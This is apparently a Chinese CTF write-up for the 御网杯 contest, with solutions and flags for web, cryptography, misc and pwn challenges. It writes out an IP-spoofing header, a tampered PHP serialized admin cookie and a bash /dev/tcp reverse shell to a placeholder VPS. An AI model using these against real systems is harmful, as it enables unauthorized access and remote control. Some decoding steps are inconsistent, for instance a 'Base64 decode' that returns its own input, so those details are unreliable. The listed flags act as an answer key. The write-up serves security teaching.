御网杯wp
字数 2036 2025-08-29 22:41:01

御网杯CTF竞赛Writeup技术解析

Web安全挑战

1. YWB_Web_xff (IP绕过)

题目分析

  • 目标:绕过IP限制获取flag
  • 关键点:需要伪造IP为2.2.2.1才能获取flag

解题步骤

  1. 查看网页源码发现PHP代码,确认IP验证逻辑
  2. 使用Burp Suite或Hackbar工具
  3. 在HTTP请求头中添加:
    X-Forwarded-For: 2.2.2.1
    
  4. 提交登录请求获取flag

技术要点

  • X-Forwarded-For (XFF) HTTP头字段用于识别客户端原始IP
  • 常用于多级代理环境中传递真实客户端IP
  • 服务器端未严格验证XFF头导致IP伪造漏洞

2. YWB_Web_未授权访问 (反序列化漏洞)

题目分析

  • 目标:通过修改序列化数据提升为管理员权限
  • 关键点:Cookie中包含序列化的用户对象

解题步骤

  1. 检查Cookie发现user字段包含URL编码的序列化数据
  2. 解码得到原始序列化字符串:
    O:5:"Admin":2:{s:4:"name";s:5:"guest";s:7:"isAdmin";b:0;}
    
  3. 修改isAdmin值为true:
    O:5:"Admin":2:{s:4:"name";s:5:"guest";s:7:"isAdmin";b:1;}
    
  4. 重新URL编码后更新Cookie
  5. 刷新页面获取flag

技术要点

  • PHP反序列化漏洞原理
  • 对象属性篡改攻击
  • URL编码/解码技巧
  • 序列化字符串结构解析:
    • O:5:"Admin" - 5个字符的类名"Admin"
    • :2: - 2个属性
    • s:4:"name" - 4个字符的属性名"name"
    • s:5:"guest" - 5个字符的字符串值"guest"
    • b:0 - 布尔值false

3. easyweb (命令执行)

题目分析

  • 目标:利用exec函数执行系统命令
  • 关键点:exec无回显,需要外带数据

解题步骤

  1. 确认POST参数cmd可用于命令执行
  2. 使用反向Shell技术外带数据:
    bash -c 'exec 5<>/dev/tcp/your_vps_ip/8000;cat <&5 | while read line; do $line 2>&5 >&5; done'
    
  3. 在VPS上监听8000端口:
    nc -lvnp 8000
    
  4. 执行命令获取flag

技术要点

  • Linux文件描述符重定向
  • 反向Shell技术
  • 无回显命令执行解决方案
  • 网络通信基础

密码学挑战

1. easy-签到题 (多重编码)

解题步骤

  1. 初始密文:
    GY3DMQZWGE3DON2CGM4DMNBTGA3DEMZSGM4TGMZWGEZEIMZWGYZTGMJWGUZEIMZVGY3DGNZTGQZEIMZZGYZDGMZTGYZEIMZUGMYDGMJTHAZTOMZTGMZDGNRTGU3DKMZZGY3DORA=
    
  2. Base64解码:
    GY3DMQZWGE3DON2CGM4DMNBTGA3DEMZSGM4TGMZWGEZEIMZWGYZTGMJWGUZEIMZVGY3DGNZTGQZEIMZZGYZDGMZTGYZEIMZUGMYDGMJTHAZTOMZTGMZDGNRTGU3DKMZZGY3DORA=
    
  3. Base32解码:
    666C61677B38643062323933612D366331652D356637342D396233362D3430313837333236356539667D
    
  4. Base16(Hex)解码得到flag:
    flag{8d0b293a-6c1e-5f74-9b36-401873265e9f}
    

技术要点

  • Base编码识别技巧
  • 多重编码解密流程
  • 编码特征分析

2. 草甸方阵的密语 (栅栏密码+凯撒)

解题步骤

  1. 初始密文:
    lDrwgDmg{efhsFr}
    
  2. 栅栏密码解密(栏数需要尝试):
    lrgm{fsrDwDgehF}
    
  3. 凯撒移位解密(位移需要尝试):
    flag{zmlXqXaybZ}
    

技术要点

  • 栅栏密码原理与破解
  • 凯撒密码暴力破解方法
  • 组合密码解题思路

3. ez_base (Base64)

解题步骤

  1. 垃圾邮箱中获取Base64编码:
    flag{HNCTFhe9GFNECVH5TF}
    
  2. 直接解码获取flag

4. baby_rsa (RSA分解)

解题步骤

  1. 使用yafu工具分解n得到p和q
  2. 计算φ(n) = (p-1)(q-1)
  3. 计算私钥d = e⁻¹ mod φ(n)
  4. 解密密文c:m = cᵈ mod n
  5. 将结果中的4改为5得到flag:
    flag{5c9c885c361551e0b261f58b61db8cec}
    

技术要点

  • RSA算法原理
  • 大数分解工具使用
  • 模反元素计算
  • 解密过程实现

杂项挑战

1. 被折叠的显影图纸 (文件分析)

解题步骤

  1. 使用010 Editor打开文件
  2. 搜索"flag"字符串
  3. 直接获取flag:
    flag{0ff!c3_3@$y_Kr@kK3d}
    

技术要点

  • 二进制文件分析技巧
  • 字符串搜索方法
  • 文件结构分析

2. ez_xor (异或加密)

解题步骤

  1. 编写Python解密脚本:
    def xor_decrypt(cipher, key):
        return ''.join(chr(ord(c) ^ key) for c in cipher)
    
    cipher = "..."  # 密文
    for key in range(256):
        print(xor_decrypt(cipher, key))
    
  2. 尝试不同key值
  3. 获取flag:
    flag{HCTFqweASD155}
    

技术要点

  • 异或加密原理
  • 暴力破解方法
  • Python脚本编写

3. 光隙中的寄生密钥 (文件隐写)

解题步骤

  1. 使用binwalk分析文件:
    binwalk -e file
    
  2. 提取出隐藏的压缩包
  3. 使用ARCHPR爆破压缩包密码
  4. 解压得到flag.txt
  5. 十六进制转字符后Base64解码:
    flag{2Vd#Mk6%pR9zX!sA}
    

技术要点

  • 文件隐写分析
  • 压缩包密码爆破
  • 多重编码识别

Pwn挑战

1. Canary (栈溢出)

解题步骤

  1. 识别程序存在栈溢出漏洞
  2. 发现程序有后门函数
  3. 构造payload覆盖返回地址跳转到后门
  4. 获取shell

技术要点

  • 栈溢出原理
  • Canary绕过技术
  • 返回地址覆盖
  • 后门函数利用

2. ez_pwn (IO重定向)

解题步骤

  1. 识别简单栈溢出漏洞
  2. 发现close(1)关闭了标准输出
  3. 获取libc基地址
  4. 构造ROP链调用system("/bin/sh")
  5. 将输出重定向到标准错误
  6. 获取shell

技术要点

  • 文件描述符操作
  • libc地址泄露
  • ROP链构造
  • IO重定向技巧

总结

本Writeup详细解析了御网杯CTF竞赛中的各类题目,涵盖Web安全、密码学、杂项和Pwn等多个领域。关键技术点包括:

  1. Web安全:

    • HTTP头注入
    • PHP反序列化漏洞
    • 命令执行与外带数据
  2. 密码学:

    • 多重编码分析
    • 古典密码破解
    • RSA算法实现
  3. 杂项:

    • 文件隐写分析
    • 异或加密破解
    • 二进制文件分析
  4. Pwn:

    • 栈溢出利用
    • Canary绕过
    • IO重定向技术

这些技术在实际CTF竞赛和渗透测试中都有广泛应用,掌握这些技能对安全研究人员至关重要。

御网杯CTF竞赛Writeup技术解析 Web安全挑战 1. YWB_ Web_ xff (IP绕过) 题目分析 : 目标:绕过IP限制获取flag 关键点:需要伪造IP为2.2.2.1才能获取flag 解题步骤 : 查看网页源码发现PHP代码,确认IP验证逻辑 使用Burp Suite或Hackbar工具 在HTTP请求头中添加: 提交登录请求获取flag 技术要点 : X-Forwarded-For (XFF) HTTP头字段用于识别客户端原始IP 常用于多级代理环境中传递真实客户端IP 服务器端未严格验证XFF头导致IP伪造漏洞 2. YWB_ Web_ 未授权访问 (反序列化漏洞) 题目分析 : 目标:通过修改序列化数据提升为管理员权限 关键点:Cookie中包含序列化的用户对象 解题步骤 : 检查Cookie发现user字段包含URL编码的序列化数据 解码得到原始序列化字符串: 修改isAdmin值为true: 重新URL编码后更新Cookie 刷新页面获取flag 技术要点 : PHP反序列化漏洞原理 对象属性篡改攻击 URL编码/解码技巧 序列化字符串结构解析: O:5:"Admin" - 5个字符的类名"Admin" :2: - 2个属性 s:4:"name" - 4个字符的属性名"name" s:5:"guest" - 5个字符的字符串值"guest" b:0 - 布尔值false 3. easyweb (命令执行) 题目分析 : 目标:利用exec函数执行系统命令 关键点:exec无回显,需要外带数据 解题步骤 : 确认POST参数cmd可用于命令执行 使用反向Shell技术外带数据: 在VPS上监听8000端口: 执行命令获取flag 技术要点 : Linux文件描述符重定向 反向Shell技术 无回显命令执行解决方案 网络通信基础 密码学挑战 1. easy-签到题 (多重编码) 解题步骤 : 初始密文: Base64解码: Base32解码: Base16(Hex)解码得到flag: 技术要点 : Base编码识别技巧 多重编码解密流程 编码特征分析 2. 草甸方阵的密语 (栅栏密码+凯撒) 解题步骤 : 初始密文: 栅栏密码解密(栏数需要尝试): 凯撒移位解密(位移需要尝试): 技术要点 : 栅栏密码原理与破解 凯撒密码暴力破解方法 组合密码解题思路 3. ez_ base (Base64) 解题步骤 : 垃圾邮箱中获取Base64编码: 直接解码获取flag 4. baby_ rsa (RSA分解) 解题步骤 : 使用yafu工具分解n得到p和q 计算φ(n) = (p-1)(q-1) 计算私钥d = e⁻¹ mod φ(n) 解密密文c:m = cᵈ mod n 将结果中的4改为5得到flag: 技术要点 : RSA算法原理 大数分解工具使用 模反元素计算 解密过程实现 杂项挑战 1. 被折叠的显影图纸 (文件分析) 解题步骤 : 使用010 Editor打开文件 搜索"flag"字符串 直接获取flag: 技术要点 : 二进制文件分析技巧 字符串搜索方法 文件结构分析 2. ez_ xor (异或加密) 解题步骤 : 编写Python解密脚本: 尝试不同key值 获取flag: 技术要点 : 异或加密原理 暴力破解方法 Python脚本编写 3. 光隙中的寄生密钥 (文件隐写) 解题步骤 : 使用binwalk分析文件: 提取出隐藏的压缩包 使用ARCHPR爆破压缩包密码 解压得到flag.txt 十六进制转字符后Base64解码: 技术要点 : 文件隐写分析 压缩包密码爆破 多重编码识别 Pwn挑战 1. Canary (栈溢出) 解题步骤 : 识别程序存在栈溢出漏洞 发现程序有后门函数 构造payload覆盖返回地址跳转到后门 获取shell 技术要点 : 栈溢出原理 Canary绕过技术 返回地址覆盖 后门函数利用 2. ez_ pwn (IO重定向) 解题步骤 : 识别简单栈溢出漏洞 发现close(1)关闭了标准输出 获取libc基地址 构造ROP链调用system("/bin/sh") 将输出重定向到标准错误 获取shell 技术要点 : 文件描述符操作 libc地址泄露 ROP链构造 IO重定向技巧 总结 本Writeup详细解析了御网杯CTF竞赛中的各类题目,涵盖Web安全、密码学、杂项和Pwn等多个领域。关键技术点包括: Web安全: HTTP头注入 PHP反序列化漏洞 命令执行与外带数据 密码学: 多重编码分析 古典密码破解 RSA算法实现 杂项: 文件隐写分析 异或加密破解 二进制文件分析 Pwn: 栈溢出利用 Canary绕过 IO重定向技术 这些技术在实际CTF竞赛和渗透测试中都有广泛应用,掌握这些技能对安全研究人员至关重要。